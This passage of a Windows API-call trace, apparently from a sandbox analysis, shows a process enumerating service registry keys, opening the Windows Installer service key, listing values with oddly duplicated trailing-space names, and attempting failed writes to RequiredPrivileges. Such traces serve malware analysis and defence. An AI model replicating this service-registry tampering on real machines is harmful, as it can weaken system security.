[0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0249.525] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0249.526] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0249.527] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0249.528] RegEnumKeyW (in: hKey=0x154, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0249.529] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0249.530] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0249.531] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0249.532] RegOpenKeyExW (in: hKey=0x154, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.532] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0249.532] RegCloseKey (hKey=0x154) returned 0x0 [0249.532] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0249.532] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0249.532] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0249.533] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.533] RegCloseKey (hKey=0x80000002) returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.533] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.534] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.534] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.534] RegCloseKey (hKey=0xc4) returned 0x0 [0249.534] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.534] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.535] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0249.535] RegCloseKey (hKey=0x154) returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.535] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.536] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.536] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.536] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.536] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.536] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.536] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.537] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0249.537] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048, cbData=0x195) returned 0x6 [0249.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0249.538] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x21f1d18, cbData=0x1) returned 0x6 [0249.538] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.538] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0249.539] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, 